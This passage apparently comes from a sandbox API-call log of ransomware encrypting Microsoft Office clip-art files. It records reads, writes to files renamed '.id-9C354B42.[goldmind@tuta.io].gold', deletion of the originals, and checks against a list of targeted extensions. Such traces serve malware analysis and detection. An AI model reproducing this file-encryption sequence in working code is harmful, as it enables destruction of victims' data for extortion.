lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0049.524] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.524] SetEndOfFile (hFile=0x1a0) returned 1 [0049.524] CloseHandle (hObject=0x1a0) returned 1 [0049.524] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0049.524] SetEndOfFile (hFile=0x200) returned 1 [0049.525] CloseHandle (hObject=0x200) returned 1 [0049.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0049.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 1 [0049.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0049.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0049.526] lstrlenW (lpString=".doc") returned 4 [0049.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.526] lstrlenW (lpString=".docx") returned 5 [0049.526] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.526] lstrlenW (lpString=".pdf") returned 4 [0049.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.526] lstrlenW (lpString=".xls") returned 4 [0049.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.526] lstrlenW (lpString=".xlsx") returned 5 [0049.526] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.526] lstrlenW (lpString=".ppt") returned 4 [0049.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0049.526] lstrlenW (lpString=".zip") returned 4 [0049.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.526] lstrlenW (lpString=".rar") returned 4 [0049.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.526] lstrlenW (lpString=".bz2") returned 4 [0049.526] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.526] lstrlenW (lpString=".7z") returned 3 [0049.526] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0049.526] lstrlenW (lpString=".dbf") returned 4 [0049.526] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0049.526] lstrlenW (lpString=".1cd") returned 4 [0049.526] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0049.526] lstrlenW (lpString=".jpg") returned 4 [0049.526] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0049.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0049.526] lstrlenW (lpString=".doc") returned 4 [0049.526] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0049.526] lstrlenW (lpString=".docx") returned 5 [0049.526] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0049.526] lstrlenW (lpString=".pdf") returned 4 [0049.526] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0049.526] lstrlenW (lpString=".xls") returned 4 [0049.526] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0049.526] lstrlenW (lpString=".xlsx") returned 5 [0049.526] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0049.526] lstrlenW (lpString=".ppt") returned 4 [0049.526] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0049.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0049.526] lstrlenW (lpString=".zip") returned 4 [0049.526] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0049.526] lstrlenW (lpString=".rar") returned 4 [0049.526] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0049.526] lstrlenW (lpString=".bz2") returned 4 [0049.527] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0049.527] lstrlenW (lpString=".7z") returned 3 [0049.527] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0049.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0049.527] lstrlenW (lpString=".dbf") returned 4 [0049.527] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0049.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0049.527] lstrlenW (lpString=".1cd") returned 4 [0049.527] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0049.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 63 [0049.527] lstrlenW (lpString=".jpg") returned 4 [0049.527] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0049.527] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0049.527] lstrlenW (lpString="BD00116_.WMF") returned 12 [0049.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.066] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=4870) returned 1 [0051.066] CloseHandle (hObject=0x214) returned 1 [0051.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x20 [0051.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.084] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0051.084] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0051.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.089] GetLastError () returned 0x0 [0051.089] ReadFile (in: hFile=0x214, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x1306, lpOverlapped=0x0) returned 1 [0051.090] WriteFile (in: hFile=0x21c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x1310, lpOverlapped=0x0) returned 1 [0051.091] ReadFile (in: hFile=0x214, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0051.091] WriteFile (in: hFile=0x21c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.091] SetEndOfFile (hFile=0x21c) returned 1 [0051.091] CloseHandle (hObject=0x21c) returned 1 [0051.091] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0051.091] SetEndOfFile (hFile=0x214) returned 1 [0051.092] CloseHandle (hObject=0x214) returned 1 [0051.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.092] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0051.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0051.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0051.092] lstrlenW (lpString=".doc") returned 4 [0051.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.092] lstrlenW (lpString=".docx") returned 5 [0051.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.092] lstrlenW (lpString=".pdf") returned 4 [0051.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.092] lstrlenW (lpString=".xls") returned 4 [0051.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.092] lstrlenW (lpString=".xlsx") returned 5 [0051.093] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.093] lstrlenW (lpString=".ppt") returned 4 [0051.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0051.093] lstrlenW (lpString=".zip") returned 4 [0051.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.093] lstrlenW (lpString=".rar") returned 4 [0051.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.093] lstrlenW (lpString=".bz2") returned 4 [0051.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.093] lstrlenW (lpString=".7z") returned 3 [0051.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0051.093] lstrlenW (lpString=".dbf") returned 4 [0051.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0051.093] lstrlenW (lpString=".1cd") returned 4 [0051.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0051.093] lstrlenW (lpString=".jpg") returned 4 [0051.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0051.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0051.093] lstrlenW (lpString=".doc") returned 4 [0051.093] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.093] lstrlenW (lpString=".docx") returned 5 [0051.093] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.093] lstrlenW (lpString=".pdf") returned 4 [0051.093] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.093] lstrlenW (lpString=".xls") returned 4 [0051.093] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.093] lstrlenW (lpString=".xlsx") returned 5 [0051.093] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.093] lstrlenW (lpString=".ppt") returned 4 [0051.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0051.093] lstrlenW (lpString=".zip") returned 4 [0051.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.093] lstrlenW (lpString=".rar") returned 4 [0051.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.093] lstrlenW (lpString=".bz2") returned 4 [0051.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.093] lstrlenW (lpString=".7z") returned 3 [0051.094] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0051.094] lstrlenW (lpString=".dbf") returned 4 [0051.094] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0051.094] lstrlenW (lpString=".1cd") returned 4 [0051.094] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 63 [0051.094] lstrlenW (lpString=".jpg") returned 4 [0051.094] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.094] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.094] lstrlenW (lpString="BD08758_.WMF") returned 12 [0051.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.094] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=24320) returned 1 [0051.094] CloseHandle (hObject=0x214) returned 1 [0051.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x20 [0051.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.094] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0051.094] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0051.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.095] GetLastError () returned 0x0 [0051.095] ReadFile (in: hFile=0x214, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x5f00, lpOverlapped=0x0) returned 1 [0051.096] WriteFile (in: hFile=0x21c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x5f10, lpOverlapped=0x0) returned 1 [0051.097] ReadFile (in: hFile=0x214, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0051.097] WriteFile (in: hFile=0x21c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.097] SetEndOfFile (hFile=0x21c) returned 1 [0051.097] CloseHandle (hObject=0x21c) returned 1 [0051.098] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0051.098] SetEndOfFile (hFile=0x214) returned 1 [0051.098] CloseHandle (hObject=0x214) returned 1 [0051.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0051.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0051.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0051.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0051.099] lstrlenW (lpString=".doc") returned 4 [0051.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.099] lstrlenW (lpString=".docx") returned 5 [0051.099] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.099] lstrlenW (lpString=".pdf") returned 4 [0051.099] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.099] lstrlenW (lpString=".xls") returned 4 [0051.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.099] lstrlenW (lpString=".xlsx") returned 5 [0051.099] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.099] lstrlenW (lpString=".ppt") returned 4 [0051.099] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0051.099] lstrlenW (lpString=".zip") returned 4 [0051.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.099] lstrlenW (lpString=".rar") returned 4 [0051.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.099] lstrlenW (lpString=".bz2") returned 4 [0051.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.099] lstrlenW (lpString=".7z") returned 3 [0051.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0051.099] lstrlenW (lpString=".dbf") returned 4 [0051.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0051.099] lstrlenW (lpString=".1cd") returned 4 [0051.099] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0051.099] lstrlenW (lpString=".jpg") returned 4 [0051.099] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0051.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0051.099] lstrlenW (lpString=".doc") returned 4 [0051.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0051.099] lstrlenW (lpString=".docx") returned 5 [0051.099] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0051.100] lstrlenW (lpString=".pdf") returned 4 [0051.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0051.100] lstrlenW (lpString=".xls") returned 4 [0051.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0051.100] lstrlenW (lpString=".xlsx") returned 5 [0051.100] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0051.100] lstrlenW (lpString=".ppt") returned 4 [0051.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0051.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0051.100] lstrlenW (lpString=".zip") returned 4 [0051.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0051.100] lstrlenW (lpString=".rar") returned 4 [0051.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0051.100] lstrlenW (lpString=".bz2") returned 4 [0051.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0051.100] lstrlenW (lpString=".7z") returned 3 [0051.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0051.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0051.100] lstrlenW (lpString=".dbf") returned 4 [0051.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0051.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0051.100] lstrlenW (lpString=".1cd") returned 4 [0051.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0051.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0051.100] lstrlenW (lpString=".jpg") returned 4 [0051.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0051.100] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0051.100] lstrlenW (lpString="BD08773_.WMF") returned 12 [0051.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.100] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=24778) returned 1 [0051.100] CloseHandle (hObject=0x214) returned 1 [0051.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x20 [0051.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0051.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0051.101] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0051.101] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0051.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0051.101] GetLastError () returned 0x0 [0051.101] ReadFile (in: hFile=0x214, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x60ca, lpOverlapped=0x0) returned 1 [0051.103] WriteFile (in: hFile=0x21c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x60d0, lpOverlapped=0x0) returned 1 [0051.104] ReadFile (in: hFile=0x214, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0051.104] WriteFile (in: hFile=0x21c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.104] SetEndOfFile (hFile=0x21c) returned 1 [0051.104] CloseHandle (hObject=0x21c) returned 1 [0051.104] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0051.104] SetEndOfFile (hFile=0x214) returned 1 [0051.105] CloseHandle (hObject=0x214) returned 1 [0051.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 